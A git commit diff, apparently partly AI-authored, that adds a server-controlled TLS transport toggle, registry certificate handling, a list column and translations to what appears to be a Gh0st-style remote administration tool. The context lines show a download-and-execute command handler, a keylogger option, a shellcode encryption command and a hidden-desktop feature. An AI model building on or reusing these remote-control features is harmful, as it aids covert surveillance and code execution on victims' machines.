Feat: Per-client TLS transport toggle (TLS column + remote enable/disable)

Add a per-client TLS transport toggle controlled from the server, using the
presence of the client's trust-anchor certificate in the registry as the
single source of truth (no separate tls_enable flag).

- Client reports its TLS status via a new RES_TLS token (cert present -> 1)
  appended to LOGIN_INFOR's reserved field.
- Server online list gains a "TLS" column after the permission column.
- The "experimental features" right-click menu gains "TLS传输" / "取消TLS"
  with confirmation and a guard that prompts (instead of sending) when the
  server has no TLS certificate ready.
- New COMMAND_TLS_ENABLE / COMMAND_TLS_DISABLE (166/167): the server pushes
  its cert PEM into the client registry settings\tls_cert (enable) or deletes
  it (disable). The client picks this up on next startup via the existing
  ReadTrustAnchor logic, so the switch is non-live by design.
- Icons and en_US/zh_TW/de_DE translations for the new menu items.

Co-Authored-By: deepseek-v4-pro
This commit is contained in:
yuanyuanxianganddeepseek-v4-pro committed 2026-10-16 07:04:54 +02:00
1 parent 8f02e73b9c
commit 99e3bcbc6d
13 files changed
+117 -11

No files matched your search

+21
View File
@@ -839,6 +839,27 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
}
case COMMAND_TLS_ENABLE: {
// 服务端下发信任锚证书:payload = PEM 正文(szBuffer+1 .. ulLength-1)。
// 写入注册表 settings\tls_cert,客户端下次启动读到证书即启用 TLS(非实时)。
if (ulLength > 1) {
std::string certPem((char*)szBuffer + 1, ulLength - 1);
m_cfg->SetStr("settings", "tls_cert", certPem);
}
break;
}
case COMMAND_TLS_DISABLE: {
// 删除注册表信任锚,客户端下次启动无证书即回明文(非实时)。
std::string subKey = GetRegistryName() + "\\settings";
HKEY hKey = NULL;
if (RegOpenKeyExA(GetCurrentUserRegistryKey(), subKey.c_str(), 0,
KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
RegDeleteValueA(hKey, "tls_cert");
RegCloseKey(hKey);
}
break;
}
case COMMAND_DOWN_EXEC: {
std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
break;
+1
View File
@@ -444,6 +444,7 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
double KB = fileInfo.nFileSizeLow > 1024 ? fileInfo.nFileSizeLow / 1024.0 : 0;
sprintf_s(fileSize, "%.1f%s", MB > 0 ? MB : KB, MB > 0 ? "M" : "K");
LoginInfor.AddReserved(fileSize); // 文件大小
LoginInfor.AddReserved(TlsEnabled() ? 1 : 0); // TLS 启用标志:有信任锚(证书)即 1
return LoginInfor;
}
+3
View File
@@ -325,6 +325,8 @@ enum {
COMMAND_FILE_MANAGER_PLUGIN = 163, // 服务端 → 客户端:打开插件文件管理对话框(SimplePlugins 迁移)
COMMAND_PRIVATE_SCREEN_PLUGIN = 164, // 服务端 → 客户端:打开隐私屏幕(虚拟桌面,SimplePlugins 迁移)
COMMAND_DRAWING_BOARD_PLUGIN = 165, // 服务端 → 客户端:打开远程画板(SimplePlugins 迁移)
COMMAND_TLS_ENABLE = 166, // 服务端 → 客户端:启用 TLS 传输(写注册表,下次启动生效)
COMMAND_TLS_DISABLE = 167, // 服务端 → 客户端:停用 TLS 传输(写注册表,下次启动生效)
TOKEN_DECRYPT = 199,
TOKEN_REGEDIT = 200, // 注册表
@@ -1061,6 +1063,7 @@ enum LOGIN_RES {
RES_CLIENT_ID = 16, // 客户端唯一ID
RES_PID = 17, // 进程ID
RES_FILESIZE = 18, // 文件大小
RES_TLS = 19, // TLS 传输启用标志 0/1
RES_MAX,
};
Binary file not shown.
+64 -8
View File
@@ -51,6 +51,7 @@
#include "McpServer.h"
#include "McpSettingsDlg.h"
#include "TlsCertificateDlg.h"
#include "ServerTlsSession.h"
#include "common/md5.h"
#include <algorithm>
#include <set>
@@ -148,23 +149,24 @@ const int g_Column_Count_Online = ONLINELIST_MAX + 1; // 1 缩略图 + 既有
COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] = {
{"预览", 60 },
{"IP", 130 },
{"端口", 60 },
{"IP", 120 },
{"端口", 55 },
{"地理位置", 140 },
{"计算机名/备注", 140 },
{"操作系统", 120 },
{"CPU", 80 },
{"摄像头", 60 },
{"RTT", 60 },
{"操作系统", 135 },
{"CPU", 75},
{"摄像头", 55 },
{"RTT", 55 },
{"版本", 90 },
{"安装时间", 130 },
{"活动窗口", 130 },
{"活动窗口", 145 },
{"类型", 50 },
{"", 0 },
{"", 0 },
{"", 0 },
{"", 0 },
{"权限", 60 },
{"TLS", 50 },
};
// 缩略图列号常量 + 列号→数据槽映射。负返回值代表"该列无数据槽"。
@@ -738,6 +740,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
m_bmOnline[66].LoadBitmap(IDB_BITMAP_FILE_MANAGER); // 文件管理
m_bmOnline[67].LoadBitmap(IDB_BITMAP_PRIVACY_SHIELD); // 隐私屏幕
m_bmOnline[68].LoadBitmap(IDB_BITMAP_DRAWING_BOARD); // 远程画板
m_bmOnline[69].LoadBitmap(IDB_BITMAP_TLS_ENABLE); // TLS 传输
m_bmOnline[70].LoadBitmap(IDB_BITMAP_TLS_DISABLE); // 取消 TLS
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
m_ServerDLL[i] = nullptr;
m_ServerBin[i] = nullptr;
@@ -1067,6 +1071,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_EXPERIMENT_FILE_MANAGER, &CMy2015RemoteDlg::OnExperimentFileManager)
ON_COMMAND(ID_EXPERIMENT_PRIVATE_SCREEN, &CMy2015RemoteDlg::OnExperimentPrivateScreen)
ON_COMMAND(ID_EXPERIMENT_DRAWING_BOARD, &CMy2015RemoteDlg::OnExperimentDrawingBoard)
ON_COMMAND(ID_EXPERIMENT_TLS_ENABLE, &CMy2015RemoteDlg::OnExperimentTlsEnable)
ON_COMMAND(ID_EXPERIMENT_TLS_DISABLE, &CMy2015RemoteDlg::OnExperimentTlsDisable)
ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
@@ -1674,10 +1680,11 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
const std::string& privUser = v[RES_USERNAME];
const std::string& privAdmin = v[RES_ISADMIN];
CString privilegeStr = privUser == "SYSTEM" ? "SYSTEM" : privAdmin == "1" ? "Admin" : "User";
CString tlsStr = v[RES_TLS].empty() ? "N" : v[RES_TLS] == "1" ? "Y" : "N";
CString data[ONLINELIST_MAX] = { strIP, strAddr, "", strPCName, strOS, strCPU, strVideo, strPing,
verDisplay, install, startTime, v[RES_CLIENT_TYPE].empty() ? "?" : v[RES_CLIENT_TYPE].c_str(), path,
v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), startTime, capStr, privilegeStr,
v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), startTime, capStr, privilegeStr, tlsStr,
};
// 优先采用客户端自报的 ID(新客户端用 V2 算法 = MachineGuid + 归一化路径,
// 比服务端按老算法 IP+PC+OS+CPU+PATH 重算更稳定)。
@@ -4546,6 +4553,8 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_FILE_MANAGER, MF_BYCOMMAND, &m_bmOnline[66], &m_bmOnline[66]);
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[67], &m_bmOnline[67]);
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_DRAWING_BOARD, MF_BYCOMMAND, &m_bmOnline[68], &m_bmOnline[68]);
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_TLS_ENABLE, MF_BYCOMMAND, &m_bmOnline[69], &m_bmOnline[69]);
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_TLS_DISABLE, MF_BYCOMMAND, &m_bmOnline[70], &m_bmOnline[70]);
Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
@@ -4718,6 +4727,53 @@ void CMy2015RemoteDlg::OnExperimentDrawingBoard()
SendSelectedCommand(&bToken, sizeof(BYTE));
}
void CMy2015RemoteDlg::OnExperimentTlsEnable()
{
// 前置校验:服务端未启用 TLS 证书时,无信任锚可下发,仅提示、不下发指令。
if (!ServerTlsIdentity::IsReady()) {
MessageBoxL(_T("服务端未启用 TLS 证书,无法切换客户端 TLS 传输"),
_T("提示"), MB_ICONWARNING);
return;
}
// 二次确认:避免误点就切换被控端 TLS;客户端写注册表,下次启动生效
if (IDYES != MessageBoxL(_T("确定对选中主机启用 TLS 传输吗?(客户端下次启动生效)"),
_T("提示"), MB_ICONQUESTION | MB_YESNO)) return;
// 读取服务端证书(信任锚),随启用指令一并下发;客户端写入注册表 settings\tls_cert。
std::ifstream certFile(THIS_CFG.GetStr("tls", "CertPath", ""), std::ios::binary);
if (!certFile.is_open()) {
MessageBoxL(_T("读取服务端 TLS 证书失败,无法下发"), _T("提示"), MB_ICONWARNING);
return;
}
std::ostringstream ss;
ss << certFile.rdbuf();
std::string certPem = ss.str();
if (certPem.empty()) {
MessageBoxL(_T("读取服务端 TLS 证书失败,无法下发"), _T("提示"), MB_ICONWARNING);
return;
}
// 报文:命令字节 + PEM 正文
std::vector<BYTE> pkt;
pkt.reserve(1 + certPem.size());
pkt.push_back((BYTE)COMMAND_TLS_ENABLE);
pkt.insert(pkt.end(), certPem.begin(), certPem.end());
SendSelectedCommand(pkt.data(), (ULONG)pkt.size());
}
void CMy2015RemoteDlg::OnExperimentTlsDisable()
{
if (!ServerTlsIdentity::IsReady()) {
MessageBoxL(_T("服务端未启用 TLS 证书,无法切换客户端 TLS 传输"),
_T("提示"), MB_ICONWARNING);
return;
}
if (IDYES != MessageBoxL(_T("确定取消选中主机的 TLS 传输吗?(客户端下次启动生效)"),
_T("提示"), MB_ICONQUESTION | MB_YESNO)) return;
BYTE bToken = COMMAND_TLS_DISABLE; //向被控端发送停用 TLS 传输命令
SendSelectedCommand(&bToken, sizeof(BYTE));
}
// 从资源中读取被控端文件,并根据用户选择修改连接信息后返回给发送线程
BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup,
+3 -1
View File
@@ -441,7 +441,7 @@ public:
bool IsDllRequestLimited(const std::string& ip);
void RecordDllRequest(const std::string& ip);
CMenu m_MainMenu;
CBitmap m_bmOnline[69];
CBitmap m_bmOnline[71];
uint64_t m_superID;
std::map<HWND, CDialogBase *> m_RemoteWnds;
FileTransformCmd m_CmdList;
@@ -531,6 +531,8 @@ public:
afx_msg void OnExperimentFileManager();
afx_msg void OnExperimentPrivateScreen();
afx_msg void OnExperimentDrawingBoard();
afx_msg void OnExperimentTlsEnable();
afx_msg void OnExperimentTlsDisable();
afx_msg void OnOnlineDelete();
afx_msg void OnOnlineUpdate();
afx_msg void OnAbout();
+1
View File
@@ -22,6 +22,7 @@ enum {
ONLINELIST_STARTTIME,
ONLINELIST_CAPABILITIES, // 客户端能力位
ONLINELIST_PRIVILEGE, // 权限级别 (SYSTEM/Admin/User)
ONLINELIST_TLS, // TLS 传输启用标志 (0/1)
ONLINELIST_MAX,
};
+6
View File
@@ -2081,3 +2081,9 @@ TLS֤
TLS 配置已保存。=TLS-Einstellungen gespeichert.
改动对新建连接即时生效。=Aenderungen gelten sofort fuer neue Verbindungen.
证书/私钥加载失败,加密功能未生效。请检查文件路径与格式(证书 PEM、私钥 PKCS#8)。=Zertifikat/privater Schluessel konnte nicht geladen werden; Verschluesselung ist inaktiv. Bitte Pfad und Format pruefen (PEM-Zertifikat, PKCS#8-Schluessel).
TLS传输=TLS-Transport
取消TLS=TLS deaktivieren
确定对选中主机启用 TLS 传输吗?(客户端下次启动生效)=TLS-Transport fuer die ausgewaehlten Hosts aktivieren? (wirkt nach Client-Neustart)
确定取消选中主机的 TLS 传输吗?(客户端下次启动生效)=TLS-Transport fuer die ausgewaehlten Hosts deaktivieren? (wirkt nach Client-Neustart)
服务端未启用 TLS 证书,无法切换客户端 TLS 传输=Server-TLS-Zertifikat ist nicht aktiviert; TLS-Transport der Clients kann nicht umgeschaltet werden
读取服务端 TLS 证书失败,无法下发=Server-TLS-Zertifikat konnte nicht gelesen werden; Verteilung nicht moeglich
+6
View File
@@ -2096,3 +2096,9 @@ TLS֤
TLS 配置已保存。=TLS settings saved.
改动对新建连接即时生效。=Changes take effect immediately for new connections.
证书/私钥加载失败,加密功能未生效。请检查文件路径与格式(证书 PEM、私钥 PKCS#8)。=Failed to load certificate/private key; encryption is not active. Check the file path and format (PEM certificate, PKCS#8 private key).
TLS传输=TLS Transport
取消TLS=Disable TLS
确定对选中主机启用 TLS 传输吗?(客户端下次启动生效)=Enable TLS transport for the selected host? (takes effect after the client restarts)
确定取消选中主机的 TLS 传输吗?(客户端下次启动生效)=Disable TLS transport for the selected host? (takes effect after the client restarts)
服务端未启用 TLS 证书,无法切换客户端 TLS 传输=Server TLS certificate is not enabled; cannot toggle client TLS transport
读取服务端 TLS 证书失败,无法下发=Failed to read the server TLS certificate; cannot distribute
+6
View File
@@ -2087,3 +2087,9 @@ TLS֤
TLS 配置已保存。=TLS 設定已儲存。
改动对新建连接即时生效。=變更對新連線即時生效。
证书/私钥加载失败,加密功能未生效。请检查文件路径与格式(证书 PEM、私钥 PKCS#8)。=憑證/私鑰載入失敗,加密功能未生效。請檢查檔案路徑與格式(憑證 PEM、私鑰 PKCS#8)。
TLS传输=TLS 傳輸
取消TLS=停用 TLS
确定对选中主机启用 TLS 传输吗?(客户端下次启动生效)=確定對選取主機啟用 TLS 傳輸嗎?(用戶端下次啟動生效)
确定取消选中主机的 TLS 传输吗?(客户端下次启动生效)=確定取消選取主機的 TLS 傳輸嗎?(用戶端下次啟動生效)
服务端未启用 TLS 证书,无法切换客户端 TLS 传输=伺服器未啟用 TLS 憑證,無法切換用戶端 TLS 傳輸
读取服务端 TLS 证书失败,无法下发=讀取伺服器 TLS 憑證失敗,無法下發
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

+6 -2
View File
@@ -287,6 +287,8 @@
#define IDB_BITMAP_FILE_MANAGER 407
#define IDB_BITMAP_PRIVACY_SHIELD 408
#define IDB_BITMAP_DRAWING_BOARD 409
#define IDB_BITMAP_TLS_ENABLE 410
#define IDB_BITMAP_TLS_DISABLE 411
#define IDC_MESSAGE 1000
#define IDC_ONLINE 1001
#define IDC_STATIC_TIPS 1002
@@ -1019,6 +1021,8 @@
#define ID_EXPERIMENT_FILE_MANAGER 33090
#define ID_EXPERIMENT_PRIVATE_SCREEN 33091
#define ID_EXPERIMENT_DRAWING_BOARD 33092
#define ID_EXPERIMENT_TLS_ENABLE 33094
#define ID_EXPERIMENT_TLS_DISABLE 33095
#define ID_33046 33046
#define ID_PROXY_PORT_AUTORUN 33047
#define ID_TRIGGER_SETTINGS 33048
@@ -1115,8 +1119,8 @@
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 410
#define _APS_NEXT_COMMAND_VALUE 33094
#define _APS_NEXT_RESOURCE_VALUE 412
#define _APS_NEXT_COMMAND_VALUE 33096
#define _APS_NEXT_CONTROL_VALUE 2620
#define _APS_NEXT_SYMED_VALUE 105
#endif